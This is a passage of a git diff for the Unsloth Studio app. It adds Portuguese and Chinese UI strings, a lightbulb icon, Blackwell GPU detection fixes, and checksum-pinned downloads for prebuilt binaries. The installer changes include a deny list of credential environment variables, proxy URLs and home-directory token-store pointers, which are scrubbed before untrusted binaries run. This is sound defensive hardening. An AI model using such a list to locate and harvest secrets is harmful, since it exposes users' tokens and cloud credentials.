+        "Como a taxa de aprendizado muda ao longo do treino. Linear decai de forma constante; cosine decai em curva.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linear",
+        cosine: "Cosine",
+      },
+      batchSize: "Tamanho do Lote (Batch Size)",
+      batchSizeTooltip: "Amostras processadas por passo. Maior consome mais VRAM.",
+      gradAccum: "Acúmulo de Gradiente",
+      gradAccumTooltip: "Simula tamanhos de lote maiores sem gastar VRAM extra.",
+      weightDecay: "Decaimento de Peso",
+      weightDecayTooltip: "Regularização L2 para evitar overfitting.",
+      warmupSteps: "Passos de Aquecimento (Warmup)",
+      warmupStepsTooltip:
+        "Aumenta gradualmente a LR no início do treino para garantir estabilidade.",
+      scheduleEpochsTooltip:
+        "Número de passagens completas pelo dataset. Defina 0 para rodar por passos máximos.",
+      saveSteps: "Passos para Salvar",
+      saveStepsTooltip: "Salva um checkpoint a cada N passos. 0 para desativar.",
+      evalSteps: "Passos de Validação",
+      evalStepsTooltip:
+        "Fração dos passos totais de treino entre as validações (0-1). Defina como 0 para desativar. Ex: 0.01 = valida a cada 1% dos passos.",
+      seed: "Seed",
+      seedTooltip: "Semente aleatória para reprodutibilidade.",
+      gradCheckpoint: "Grad Checkpoint",
+      gradCheckpointTooltip:
+        "Troca processamento por memória recalculando as ativações.",
+      none: "Nenhum",
+      standard: "Padrão",
+      enablePacking: "Ativar empacotamento (packing)",
+      assistantCompletionsOnly: "Apenas respostas do assistente",
+      readMore: "Leia mais",
+    },
+    training: {
+      title: "Treinamento",
+      description: "Monitore e controle o treinamento",
+      chartNoDataTitle: "Nenhum dado de treinamento ainda",
+      chartNoDataDescription: "Inicie o treinamento para ver o progresso da loss",
+      startTraining: "Iniciar Treinamento",
+      starting: "Iniciando...",
+      loadingModel: "Carregando modelo...",
+      checkingDataset: "Verificando dataset...",
+      configLabel: "Configuração de Treino",
+      upload: "Upload",
+      uploadConfigTooltip: "Carregar uma configuração YAML salva",
+      save: "Salvar",
+      saveConfigTooltip: "Baixar configuração atual como YAML",
+      reset: "Redefinir",
+      resetConfigTooltip: "Redefinir para os padrões do modelo",
+      configLoaded: "Configuração carregada",
+      failedToLoadConfig: "Falha ao carregar a configuração",
+      invalidYamlFile: "Arquivo YAML inválido",
+      failedToReadFile: "Falha ao ler o arquivo",
+      parametersReset: "Parâmetros redefinidos para os padrões do modelo",
+      audioIncompatible:
+        "Este modelo não suporta áudio. Mude para um modelo compatível com áudio ou escolha um dataset sem áudio.",
+      visionIncompatible:
+        "O modelo de texto não é compatível com um dataset multimodal. Mude para um modelo de visão ou escolha um dataset apenas de texto.",
+      cancelTitle: "Cancelar Treinamento",
+      cancelDescription: "Deseja cancelar a execução de treinamento atual?",
+      continueAction: "Continuar Treinamento",
+      cancelAction: "Cancelar Treinamento",
+      stopTitle: "Interromper Treinamento",
+      stopDescription: "Escolha como você deseja interromper a execução de treinamento atual.",
+      stopAction: "Interromper",
+      stopping: "Interrompendo...",
+      stopAndSave: "Interromper e Salvar",
+      compareInChat: "Comparar no Chat",
+      exportModel: "Exportar Modelo",
+      milestone: "Marco",
+      halfwayDone: "Metade concluída. O treinamento passou de 50%.",
+      doneNextStep:
+        "Treinamento concluído. Próximo passo: comparar as saídas do modelo base vs fine-tuned.",
+    },
+    history: {
+      title: "Histórico",
+      emptyTitle: "Nenhuma execução de treino ainda",
+      emptyDescription:
+        "Nenhuma execução de treino ainda. Inicie sua primeira execução na aba Configurar.",
+      loadError: "Falha ao carregar as execuções de treino",
+      deleteError: "Falha ao excluir a execução de treino. Por favor, tente novamente.",
+      retry: "Tentar novamente",
+      loadMore: "Carregar mais",
+      loading: "Carregando...",
+      loadingRun: "Carregando execução de treino...",
+      runNotFound: "Execução não encontrada",
+      deleteTitle: "Excluir execução de treino?",
+      deleteDescription:
+        "Isso excluirá permanentemente esta execução de treino e todas as suas métricas. Esta ação não pode ser desfeita.",
+      runCount: "{count} execuções",
+      oneRun: "1 execução",
+      resume: "Retomar",
+      resumeTraining: "Retomar treinamento",
+      resuming: "Retomando...",
+      deleteRun: "Excluir execução",
+      loss: "Loss",
+      steps: "Passos",
+      lossTrendSparkline: "Minigráfico de tendência da loss",
+      relativeJustNow: "agora mesmo",
+      relativeMinutesAgo: "há {count}m",
+      relativeHoursAgo: "há {count}h",
+      relativeDaysAgo: "há {count}d",
+      status: {
+        completed: "Concluído",
+        stopped: "Interrompido",
+        error: "Erro",
+        running: "Em andamento",
+        continued: "Continuado",
+      },
+      message: {
+        completed: "Treinamento concluído",
+        stopped: "Treinamento interrompido",
+        running: "Treinamento em andamento",
+        errored: "Treinamento com erro",
+      },
+    },
+    charts: {
+      settings: "Configurações do Gráfico",
+      settingsDescription:
+        "Ajuste a apresentação do gráfico enquanto o treinamento continua rodando.",
+      openSettings: "Abrir configurações do gráfico",
+      viewWindow: "Janela de visualização",
+      viewWindowDescription: "Mostra apenas os passos mais recentes ou o histórico completo.",
+      window: "Janela",
+      all: "Tudo",
+      trainingLoss: "Loss de Treinamento",
+      trainingLossDescription: "Controle as sobreposições e a suavização EMA.",
+      smoothing: "Suavização",
+      smoothingDescription: "Mova para a direita para mais suavização. `0` = bruto.",
+      showRawLoss: "Mostrar loss bruta",
+      showSmoothedLoss: "Mostrar loss suavizada",
+      showAverageLine: "Mostrar linha média",
+      scaleAndCleanup: "Escala e limpeza",
+      linear: "Linear",
+      log: "Log",
+      noClip: "Sem corte",
+      clipP99: "Cortar p99",
+      clipP95: "Cortar p95",
+      lossAxis: "Eixo da loss",
+      gradientNormAxis: "Eixo da norma do gradiente",
+      learningRateAxis: "Eixo da taxa de aprendizado",
+      resetDefaults: "Redefinir padrões",
+      loss: "Loss",
+      smoothed: "Suavizado",
+      evalLoss: "Loss de Validação",
+      learningRate: "Taxa de Aprendizado",
+      lr: "LR",
+      gradNorm: "Norma do Grad.",
+      gradientNorm: "Norma do Gradiente",
+      step: "Passo {step}",
+      averageValue: "média {value}",
+      waitingForFirstEvaluationStep: "Aguardando o primeiro passo de validação...",
+      evaluationNotConfigured: "Validação não configurada",
+      evalChartWillAppear: "O gráfico aparecerá assim que o eval_steps for alcançado",
+      setEvalDatasetAndSteps:
+        "Defina o dataset de validação e eval_steps para acompanhar a loss de validação",
+    },
+    progress: {
+      title: "Progresso do Treinamento",
+      liveMetrics: "Métricas de treino em tempo real",
+      exportGguf: "Exportar para GGUF",
+      openConfig: "Abrir configuração de treino",
+      configLabel: "Configuração de Treino",
+      hyperparams: "Hiperparâmetros",
+      epochs: "Épocas",
+      batchSize: "Tamanho do lote",
+      learningRate: "Taxa de aprendizado",
+      optimizer: "Otimizador",
+      maxSteps: "Passos máximos",
+      contextLength: "Comprimento do contexto",
+      warmupSteps: "Passos de warmup",
+      rank: "Rank",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "Variante",
+      epoch: "Época {value}",
+      percentComplete: "{percent}% completo",
+      stepProgress: "Passo {current} / {total}",
+      loss: "Loss",
+      lr: "LR",
+      gradNorm: "Norma do Grad.",
+      model: "Modelo",
+      method: "Método",
+      elapsed: "Decorrido: {value}",
+      eta: "ETA: {value}",
+      stepsPerSecond: "{value} passos/s",
+      noStepsPerSecond: "-- passos/s",
+      tokens: "Tokens: {value}",
+      gpuMonitor: "Monitor da GPU",
+      live: "Ao vivo",
+      utilization: "Utilização",
+      temperature: "Temperatura",
+      vram: "VRAM",
+      power: "Energia",
+      phase: {
+        idle: "Ocioso",
+        downloadingModel: "Baixando modelo",
+        downloadingDataset: "Baixando dataset",
+        loadingModel: "Carregando modelo",
+        loadingDataset: "Carregando dataset",
+        configuring: "Configurando",
+        training: "Treinando",
+        completed: "Concluído",
+        error: "Erro",
+        stopped: "Interrompido",
+      },
+    },
+    trainingStart: {
+      ready: "Pronto",
+      downloading: "Baixando",
+      preparing: "Preparando",
+      left: "restam {eta}",
+      downloaded: "{size} baixados",
+      terminalStart: "> treinamento do unsloth iniciado...",
+      preparingResources: "> Preparando modelo e dataset...",
+      gettingReady: "> Estamos deixando tudo pronto para a sua execução...",
+      waitingForFirstStep: "> {message} | aguardando o primeiro passo... ({step})",
+      resumingTraining: "Retomando treinamento...",
+      startingTraining: "iniciando treinamento...",
+      dataset: "Dataset",
+      datasetStreaming: "Dataset: streaming (sem download completo)",
+      modelWeights: "Pesos do modelo",
+    },
+    tour: {
+      guidedTour: "Tour Guiado",
+    },
+  },
+} as const;
diff --git a/studio/frontend/src/i18n/locales/zh-CN.ts b/studio/frontend/src/i18n/locales/zh-CN.ts
index c89b1daa46..5fd31dc7cb 100644
--- a/studio/frontend/src/i18n/locales/zh-CN.ts
+++ b/studio/frontend/src/i18n/locales/zh-CN.ts
@@ -23,6 +23,7 @@ export const zhCN = {
   },
   shell: {
     accountMenu: "{name} 账号菜单",
+    updateAvailable: "有可用更新",
     aria: {
       home: "Unsloth 首页",
       closeSidebar: "关闭侧边栏",
@@ -104,6 +105,7 @@ export const zhCN = {
       huggingFaceTokenDescription: "用于加载受限模型和推送产物。",
       hideToken: "隐藏 token",
       showToken: "显示 token",
+      tokenSaved: "Token 已保存",
       password: "密码",
       passwordDescription: "更改此 Studio 账号的密码。",
       passwordDialog: {
@@ -539,6 +541,9 @@ export const zhCN = {
     params: {
       title: "参数",
       description: "配置训练超参数",
+      projectName: "项目名称",
+      optional: "可选",
+      projectNameDescription: "用于训练输出文件夹名称、导出默认值和历史记录。",
       loraSettings: "LoRA 设置",
       trainingHyperparameters: "训练超参数",
       maxSteps: "最大步数",
@@ -764,6 +769,7 @@ export const zhCN = {
       loss: "Loss",
       lr: "LR",
       gradNorm: "梯度范数",
+      project: "项目",
       model: "模型",
       method: "方法",
       elapsed: "已用时间：{value}",
diff --git a/studio/frontend/src/i18n/messages.ts b/studio/frontend/src/i18n/messages.ts
index e75faf697a..23db2ce326 100644
--- a/studio/frontend/src/i18n/messages.ts
+++ b/studio/frontend/src/i18n/messages.ts
@@ -4,17 +4,26 @@
 import { getLocale } from "./locale-store";
 import { en } from "./locales/en";
 import { zhCN } from "./locales/zh-CN";
+import { ptBR } from "./locales/pt-br";
+import { ja } from "./locales/ja";
 import type { InterpolationValues, MessageKey } from "./types";
 
 export const LOCALES = {
   en: { label: "English", nativeLabel: "English" },
   "zh-CN": { label: "Chinese (Simplified)", nativeLabel: "简体中文" },
+  "pt-BR": { label: "Portuguese (Brazil)", nativeLabel: "Português (Brasil)" },
+  "ja": { label: "Japanese", nativeLabel: "日本語" },
 } as const;
 
 export type Locale = keyof typeof LOCALES;
 export type TranslationKey = MessageKey<typeof en>;
 
-export const messages = { en, "zh-CN": zhCN } as const;
+export const messages = { 
+  en, 
+  "zh-CN": zhCN,
+  "pt-BR": ptBR,
+  ja
+} as const;
 
 const PLACEHOLDER_PATTERN = /\{([a-zA-Z0-9_]+)\}/g;
 
@@ -73,4 +82,4 @@ export function isSupportedLocale(value: unknown): value is Locale {
     typeof value === "string" &&
     Object.prototype.hasOwnProperty.call(LOCALES, value)
   );
-}
+}
\ No newline at end of file
diff --git a/studio/frontend/src/lib/bulb-icon.tsx b/studio/frontend/src/lib/bulb-icon.tsx
new file mode 100644
index 0000000000..e2f50d43b0
--- /dev/null
+++ b/studio/frontend/src/lib/bulb-icon.tsx
@@ -0,0 +1,25 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { ComponentPropsWithoutRef } from "react";
+
+// Shared lightbulb glyph used by the composer thinking toggle and the
+// reasoning "Thinking..." indicator so both stay in sync. Defaults are
+// overridable via props.
+export const BulbIcon = ({
+  className,
+  ...props
+}: ComponentPropsWithoutRef<"svg">) => (
+  <svg
+    className={className}
+    viewBox="-10.24 -10.24 1044.48 1044.48"
+    fill="currentColor"
+    stroke="currentColor"
+    strokeWidth={16.384}
+    xmlns="http://www.w3.org/2000/svg"
+    aria-hidden={true}
+    {...props}
+  >
+    <path d="M511.984 0c-198.032 0-353.12 161.104-353.12 359.136 0 149.2 73.28 220.256 131.185 272.128 37.28 33.424 62.368 53.552 62.368 78.352v54.255c0 1.392.193 2.752.368 4.128h-.72v92.624c.016 97.712 63.2 163.376 161.072 163.376 94.464 0 158.944-65.664 158.944-163.376V768h-.928c.176-1.376.416-2.736.416-4.128v-54.255c0-37.76 28.032-60.592 70.528-97.696 57.504-50.208 123.023-112.688 123.023-252.784C865.136 161.104 710.016 0 511.983 0zm-1.215 960c-59.904 0-94.689-37.152-94.689-99.376l-.463-42.672C438.64 825.824 470 832 512 832c41.424 0 72.848-6.624 96.08-14.768v43.392c0 63.152-35.247 99.376-97.312 99.376zm189.248-396.288c-43.472 37.968-92.433 77.216-92.433 145.904v40.432c-15.183 8.48-43.183 18.56-96.127 18.56-55.569 0-81.92-9.856-95.024-17.473V709.6c0-54.608-42.688-89.297-83.68-126.017-54.32-48.672-109.873-103.84-109.873-224.464-.015-162.72 126.385-295.12 289.104-295.12 162.752 0 289.152 132.4 289.152 295.137 0 111.024-48.463 158.576-101.12 204.576z" />
+  </svg>
+);
diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index 1823a0f67e..e40cb3083e 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -7,6 +7,7 @@
 from __future__ import annotations
 
 import argparse
+import atexit
 import errno
 import fnmatch
 import hashlib
@@ -230,12 +231,15 @@ FORCE_COMPILE_DEFAULT_REF = os.environ.get("UNSLOTH_LLAMA_FORCE_COMPILE_REF", "m
 _MIN_CUDA_MAJOR = 12
 _MAX_PROBE_CUDA_MAJOR = 19
 
-# Blackwell sm_120 capability thresholds. A host is Blackwell when its highest
-# compute capability is at least sm_120; ggml compiles sm_120 only at toolkit
-# >= 12.8, so an in-release windows-cuda build at or above that already covers
-# Blackwell, while cuda-12.4 does not and is dropped on a Blackwell host.
-_BLACKWELL_MIN_SM = 120
+# Blackwell floor is sm_100: data-center parts (B100/B200 sm_100, B300/GB300
+# sm_103) sit below consumer Blackwell (RTX 50 sm_120); the family needs toolkit
+# >= 12.8, except sm_103/sm_121 which need 12.9. (120 here wrongly excluded the
+# sm_100/103 data-center hosts.)
+_BLACKWELL_MIN_SM = 100
 _BLACKWELL_MIN_TOOLKIT = (12, 8)
+# SMs that need a newer toolkit than the family floor (CUDA 12.9 added native
+# sm_103/sm_121 targets; 12.8 covers sm_100/101/120).
+_BLACKWELL_SM_MIN_TOOLKIT = {103: (12, 9), 121: (12, 9)}
 
 
 def _cuda_runtime_lines_for_major(major: int) -> list[str]:
@@ -3418,18 +3422,18 @@ def windows_cuda_attempts(
     return attempts
 
 
-def _windows_cuda_attempt_covers_blackwell(attempt: AssetChoice) -> bool:
-    """True if an in-release windows-cuda attempt yields a Blackwell sm_120
-    capable build. The fork's app-named bundles declare their SM coverage
-    directly; legacy upstream-named bundles instead encode their CUDA toolkit
-    minor in the filename (covers Blackwell at toolkit >= 12.8)."""
+def _windows_cuda_attempt_covers_blackwell(
+    attempt: AssetChoice, min_toolkit: tuple[int, int] = _BLACKWELL_MIN_TOOLKIT
+) -> bool:
+    """True if a windows-cuda attempt is Blackwell-capable (app bundles via
+    declared SMs; legacy upstream bundles via toolkit minor >= min_toolkit:
+    12.8 for the family, 12.9 for sm_103/sm_121)."""
     if attempt.install_kind != "windows-cuda":
         return False
-    # Legacy upstream-named bundles encode their toolkit minor; it is the binding
-    # constraint (a 12.4 toolkit cannot offload sm_120 whatever its metadata says).
+    # Legacy bundle: the toolkit minor binds (12.4 cannot offload Blackwell).
     m = re.search(r"-bin-win-cuda-(\d+)\.(\d+)-x64\.zip$", attempt.name)
     if m is not None:
-        return (int(m.group(1)), int(m.group(2))) >= _BLACKWELL_MIN_TOOLKIT
+        return (int(m.group(1)), int(m.group(2))) >= min_toolkit
     # App-named bundles carry no minor and declare their SM coverage directly.
     return attempt.max_sm is not None and attempt.max_sm >= _BLACKWELL_MIN_SM
 
@@ -3439,22 +3443,30 @@ def _host_is_blackwell(host: HostInfo) -> bool:
     return bool(caps) and int(caps[-1]) >= _BLACKWELL_MIN_SM
 
 
+def _blackwell_min_toolkit_for_host(host: HostInfo) -> tuple[int, int]:
+    """Minimum CUDA toolkit this Blackwell host needs: 12.8 for the family,
+    12.9 if any of its SMs is sm_103/sm_121 (no native target before 12.9)."""
+    req = _BLACKWELL_MIN_TOOLKIT
+    for sm in normalize_compute_caps(host.compute_caps):
+        req = max(req, _BLACKWELL_SM_MIN_TOOLKIT.get(int(sm), _BLACKWELL_MIN_TOOLKIT))
+    return req
+
+
 def _drop_blackwell_incapable_windows_cuda(
     host: HostInfo, attempts: list[AssetChoice]
 ) -> list[AssetChoice]:
-    """On a Blackwell host, drop windows-cuda attempts that cannot offload
-    sm_120 (e.g. upstream cuda-12.4, toolkit 12.4). Such a build loads and
-    passes the functional validator but runs the model on a slow non-native
-    path (an RTX 5090 measured 7.1 tok/s vs 551.2 on cuda-13.3), so it must
-    not sit in the fallback chain behind the pin or an in-release cuda13.
-    Non-cuda attempts (windows-cpu, windows-hip, ...) pass through so the
-    host still degrades to an honest CPU install when no CUDA 13 exists."""
+    """On a Blackwell host, drop windows-cuda attempts that can't offload
+    Blackwell (e.g. cuda-12.4): they load and validate but run a slow non-native
+    path (RTX 5090: 7.1 vs 551.2 tok/s on cuda-13.3). Non-cuda attempts pass
+    through so the host can still fall back to an honest CPU install."""
     if not _host_is_blackwell(host):
         return attempts
+    min_toolkit = _blackwell_min_toolkit_for_host(host)
     return [
         attempt
         for attempt in attempts
-        if attempt.install_kind != "windows-cuda" or _windows_cuda_attempt_covers_blackwell(attempt)
+        if attempt.install_kind != "windows-cuda"
+        or _windows_cuda_attempt_covers_blackwell(attempt, min_toolkit)
     ]
 
 
@@ -4250,7 +4262,10 @@ def ensure_converter_scripts(install_dir: Path, llama_tag: str) -> None:
 
 
 def ensure_diffusion_visual_server(
-    install_dir: Path, host: HostInfo, release_tag: str | None
+    install_dir: Path,
+    host: HostInfo,
+    release_tag: str | None,
+    approved_checksums: ApprovedReleaseChecksums,
 ) -> None:
     """Best-effort placement of the DiffusionGemma visual-server binary next to
     llama-server in the install tree, so Studio can serve DiffusionGemma GGUFs
@@ -4282,6 +4297,7 @@ def ensure_diffusion_visual_server(
     try:
         assets = github_release_assets(DEFAULT_PUBLISHED_REPO, release_tag)
         match = None
+        unapproved_matches: list[str] = []
         for asset_name, url in assets.items():
             low = asset_name.lower()
             if "llama-diffusion-gemma-visual-server" not in low:
@@ -4290,19 +4306,39 @@ def ensure_diffusion_visual_server(
                 continue
             if (not host.is_windows) and low.endswith(".exe"):
                 continue
-            match = (asset_name, url)
+            # This binary is chmod'd executable and later launched by the
+            # backend, so it must be covered by the approved checksum manifest
+            # just like every other prebuilt artifact. An asset that matches the
+            # name but is missing from the manifest is refused rather than run.
+            approved = approved_checksums.artifacts.get(asset_name)
+            if approved is None:
+                unapproved_matches.append(asset_name)
+                continue
+            match = (asset_name, url, approved.sha256)
             break
         if match is None:
-            log(
-                "diffusion visual server not found in the published release; native "
-                "DiffusionGemma serving needs DG_VISUAL_BIN or a source build"
-            )
+            if unapproved_matches:
+                log(
+                    "diffusion visual server asset(s) were present but omitted from the "
+                    "approved checksum manifest; refusing unverified native executable: "
+                    + ", ".join(unapproved_matches)
+                )
+            else:
+                log(
+                    "diffusion visual server not found in the published release; native "
+                    "DiffusionGemma serving needs DG_VISUAL_BIN or a source build"
+                )
             return
         bin_dir.mkdir(parents = True, exist_ok = True)
-        download_file(match[1], target)
+        download_file_verified(
+            match[1],
+            target,
+            expected_sha256 = match[2],
+            label = f"diffusion visual server {match[0]}",
+        )
         if not host.is_windows:
             target.chmod(0o755)
-        log(f"installed diffusion visual server: {match[0]}")
+        log(f"installed verified diffusion visual server: {match[0]}")
     except Exception as exc:
         log(
             "diffusion visual server fetch skipped "
@@ -5168,7 +5204,8 @@ def ldconfig_runtime_dirs(required_libraries: Iterable[str]) -> list[str]:
 
 
 def linux_runtime_dirs(binary_path: Path) -> list[str]:
-    missing = linux_missing_libraries(binary_path)
+    # ldd may execute the binary, so probe it with a secret-free env.
+    missing = linux_missing_libraries(binary_path, env = scrubbed_environ())
     if not missing:
         return []
     return linux_runtime_dirs_for_required_libraries(missing)
@@ -5464,6 +5501,140 @@ def _wsl_system_rocm_lib_dirs() -> list[str]:
     return out
 
 
+# Secrets a downloaded llama.cpp binary never needs; keep them out of binary_env().
+# The installer's own API calls read os.environ directly, so auth is unaffected.
+_SECRET_ENV_EXACT_NAMES = frozenset(
+    {
+        "HF_TOKEN",
+        "HUGGING_FACE_HUB_TOKEN",
+        "GH_TOKEN",
+        "GITHUB_TOKEN",
+        "WANDB_API_KEY",
+        "OPENAI_API_KEY",
+        "ANTHROPIC_API_KEY",
+        "AWS_ACCESS_KEY_ID",
+        "AWS_SECRET_ACCESS_KEY",
+        "AWS_SESSION_TOKEN",
+        "GOOGLE_APPLICATION_CREDENTIALS",
+        "AZURE_CLIENT_SECRET",
+        "ACTIONS_ID_TOKEN_REQUEST_TOKEN",
+        "ACTIONS_ID_TOKEN_REQUEST_URL",
+        "ACTIONS_RUNTIME_TOKEN",
+        # Credential pointers (cluster / remote-host access).
+        "KUBECONFIG",
+        "SSH_AUTH_SOCK",
+    }
+)
+# Case-insensitive substring markers for names we do not enumerate (no bare "KEY",
+# which would hit benign runtime vars).
+_SECRET_ENV_MARKERS = (
+    "TOKEN",
+    "SECRET",
+    "PASSWORD",
+    "PASSWD",
+    "PASSPHRASE",
+    "CREDENTIAL",
+    "PRIVATE_KEY",
+    "API_KEY",
+)
+# Proxy / index URLs embed creds in their value; the offline binaries never need them.
+_SECRET_ENV_URL_NAMES = frozenset(
+    {
+        "HTTP_PROXY",
+        "HTTPS_PROXY",
+        "ALL_PROXY",
+        "FTP_PROXY",
+        "RSYNC_PROXY",
+        "PIP_INDEX_URL",
+        "PIP_EXTRA_INDEX_URL",
+        "UV_INDEX_URL",
+        "UV_DEFAULT_INDEX",
+        "UV_EXTRA_INDEX_URL",
+    }
+)
+# Also drop values with URL userinfo creds (scheme://user:secret@host or token@host).
+_URL_USERINFO_CREDENTIAL_RE = re.compile(r"://[^/@\s]+@")
+
+
+def is_secret_env_name(name: str) -> bool:
+    upper = name.upper()
+    return (
+        upper in _SECRET_ENV_EXACT_NAMES
+        or upper in _SECRET_ENV_URL_NAMES
+        or any(marker in upper for marker in _SECRET_ENV_MARKERS)
+    )
+
+
+def scrub_env(env: dict[str, str]) -> dict[str, str]:
+    """Drop secret-bearing variables before handing an env to a downloaded binary."""
+    return {
+        key: value
+        for key, value in env.items()
+        if not is_secret_env_name(key) and not _URL_USERINFO_CREDENTIAL_RE.search(value or "")
+    }
+
+
+# Home / cache pointers to on-disk token stores (~/.cache/huggingface/token,
+# ~/.aws/credentials, ...). Stripping env tokens is not enough; point these at an
+# empty home so the binary cannot read those files via $HOME.
+_RUNTIME_HOME_POINTER_VARS = (
+    "HOME",
+    "USERPROFILE",
+    "APPDATA",
+    "LOCALAPPDATA",
+    "XDG_CACHE_HOME",
+    "XDG_CONFIG_HOME",
+    "XDG_DATA_HOME",
+    "HF_HOME",
+    "HUGGINGFACE_HUB_CACHE",
+    "HF_HUB_CACHE",
+)
+# Credential / config file pointers outside HOME; drop so lookups fall back to the
+# empty home.
+_CREDENTIAL_FILE_POINTER_VARS = (
+    "NETRC",
+    "PIP_CONFIG_FILE",
+    "DOCKER_CONFIG",
+    "GIT_CONFIG_GLOBAL",
+)
+# GitHub Actions command files: appending to these injects PATH/env into later steps.
+_CI_COMMAND_FILE_VARS = (
+    "GITHUB_ENV",
+    "GITHUB_PATH",
+    "GITHUB_OUTPUT",
+    "GITHUB_STEP_SUMMARY",
+    "BASH_ENV",
+)
+
+_isolated_runtime_home_dir: str | None = None
+
+
+def isolated_runtime_home() -> str:
+    # Empty dir, created lazily and removed at exit. (A binary resolving the real
+    # home via getpwuid is out of scope; that needs OS sandboxing.)
+    global _isolated_runtime_home_dir
+    if _isolated_runtime_home_dir is None:
+        path = tempfile.mkdtemp(prefix = "unsloth-prebuilt-home-")
+        atexit.register(shutil.rmtree, path, ignore_errors = True)
+        _isolated_runtime_home_dir = path
+    return _isolated_runtime_home_dir
+
+
+def scrubbed_environ() -> dict[str, str]:
+    # os.environ minus secrets, with home / credential pointers neutralised. Used for
+    # the binary env and any probe (e.g. ldd) that runs the untrusted binary.
+    env = scrub_env(os.environ.copy())
+    runtime_home = isolated_runtime_home()
+    for pointer in _RUNTIME_HOME_POINTER_VARS:
+        env[pointer] = runtime_home
+    # Windows rebuilds the profile from %HOMEDRIVE%%HOMEPATH% (no-op pair on POSIX).
+    drive, tail = os.path.splitdrive(runtime_home)
+    env["HOMEDRIVE"], env["HOMEPATH"] = drive, tail or runtime_home
+    for pointer in (*_CREDENTIAL_FILE_POINTER_VARS, *_CI_COMMAND_FILE_VARS):
+        env.pop(pointer, None)
+    return env
+
+
 def binary_env(
     binary_path: Path,
     install_dir: Path,
@@ -5471,7 +5642,7 @@ def binary_env(
     *,
     runtime_line: str | None = None,
 ) -> dict[str, str]:
-    env = os.environ.copy()
+    env = scrubbed_environ()
     if host.is_windows:
         path_dirs = [
             str(binary_path.parent),
@@ -6626,7 +6797,9 @@ def install_prebuilt(
                             f"({textwrap.shorten(str(exc), width = 200, placeholder = '...')})"
                         )
                     try:
-                        ensure_diffusion_visual_server(install_dir, host, plan.release_tag)
+                        ensure_diffusion_visual_server(
+                            install_dir, host, plan.release_tag, plan.approved_checksums
+                        )
                     except Exception as exc:
                         log(
                             "diffusion visual server step skipped; install remains valid "
diff --git a/studio/install_node_prebuilt.py b/studio/install_node_prebuilt.py
index bc67189e2b..4038216eef 100644
--- a/studio/install_node_prebuilt.py
+++ b/studio/install_node_prebuilt.py
@@ -9,6 +9,9 @@ Downloads an official Node.js archive from nodejs.org into an isolated
 LTS clears the Studio frontend build floor (Vite 8: Node ^20.19 || >=22.12,
 npm >= 11) with the npm it bundles.
 
+Archives are verified against sha256 digests pinned in ``node_prebuilt_pins.json``
+(committed in-tree), not a checksum re-fetched from the same origin as the archive.
+
 Mirrors ``install_llama_prebuilt.py`` so the setup scripts drive it the same way.
 Exit codes: 0 success, 1 error, 2 fallback, 3 busy. A re-run that already matches
 logs "already matches" and returns 0 without downloading (the scripts grep it).
@@ -65,6 +68,14 @@ INSTALL_STAGING_ROOT_NAME = ".staging"
 METADATA_FILENAME = "UNSLOTH_NODE_PREBUILT_INFO.json"
 METADATA_SCHEMA_VERSION = 1
 
+# Trust anchor: verify archives against sha256 pins committed in
+# node_prebuilt_pins.json (in-tree, code-reviewed), not a same-origin checksum.
+PINS_FILENAME = "node_prebuilt_pins.json"
+PINS_SCHEMA_VERSION = 1
+DEFAULT_NODE_CHANNEL = "pinned"
+# Opt-in to install an unpinned version, trusting the same-origin SHASUMS256.txt.
+ALLOW_UNVERIFIED_ENV = "UNSLOTH_NODE_ALLOW_UNVERIFIED"
+
 # PowerShell renders stderr as NativeCommandError noise; main() flips logs to stdout.
 _LOG_TO_STDOUT = False
 
@@ -73,6 +84,11 @@ class PrebuiltFallback(RuntimeError):
     """Recoverable failure -- caller should fall back (exit code 2)."""
 
 
+class UnpinnedNodeRefused(PrebuiltFallback):
+    """Unpinned Node requested without opt-in. Distinct type so the orchestrator
+    re-raises it instead of letting the keep-existing path swallow the refusal."""
+
+
 class BusyInstallConflict(RuntimeError):
     """Another process holds the install lock (exit code 3)."""
 
@@ -311,6 +327,81 @@ def download_file_verified(
             raise PrebuiltFallback(f"{label} checksum mismatch after retry")
 
 
+# ── Pinned digest manifest (trust anchor) ──
+def pins_path() -> Path:
+    return Path(__file__).resolve().parent / PINS_FILENAME
+
+
+def load_pins() -> dict:
+    path = pins_path()
+    try:
+        data = json.loads(path.read_text(encoding = "utf-8"))
+    except FileNotFoundError as exc:
+        raise PrebuiltFallback(f"pinned Node manifest missing: {path}") from exc
+    except (json.JSONDecodeError, OSError) as exc:
+        raise PrebuiltFallback(f"pinned Node manifest unreadable ({path}): {exc}") from exc
+    if not isinstance(data, dict) or data.get("schema_version") != PINS_SCHEMA_VERSION:
+        raise PrebuiltFallback(f"pinned Node manifest has an unexpected schema: {path}")
+    return data
+
+
+def pinned_default_version(pins: dict) -> str:
+    version = str(pins.get("default_version", "")).lstrip("v")
+    if not _version_tuple(version):
+        raise PrebuiltFallback("pinned Node manifest is missing a valid 'default_version'")
+    return version
+
+
+def pinned_sha256(pins: dict, version: str, asset_name: str) -> str | None:
+    versions = pins.get("versions")
+    if not isinstance(versions, dict):
+        return None
+    entry = versions.get(version.lstrip("v"))
+    if not isinstance(entry, dict):
+        return None
+    digest = entry.get(asset_name)
+    if not isinstance(digest, str):
+        return None
+    digest = digest.strip().lower()
+    if len(digest) == 64 and all(c in "0123456789abcdef" for c in digest):
+        return digest
+    return None
+
+
+def allow_unverified_node() -> bool:
+    return os.environ.get(ALLOW_UNVERIFIED_ENV, "").strip().lower() in {"1", "true", "yes", "on"}
+
+
+def resolve_expected_sha256(pins: dict, version: str, asset: str, *, allow_unverified: bool) -> str:
+    """Sha256 to verify the archive against: the committed pin, or (only with explicit
+    opt-in) the same-origin SHASUMS256.txt. Unpinned without opt-in is refused."""
+    pinned = pinned_sha256(pins, version, asset)
+    if pinned is not None:
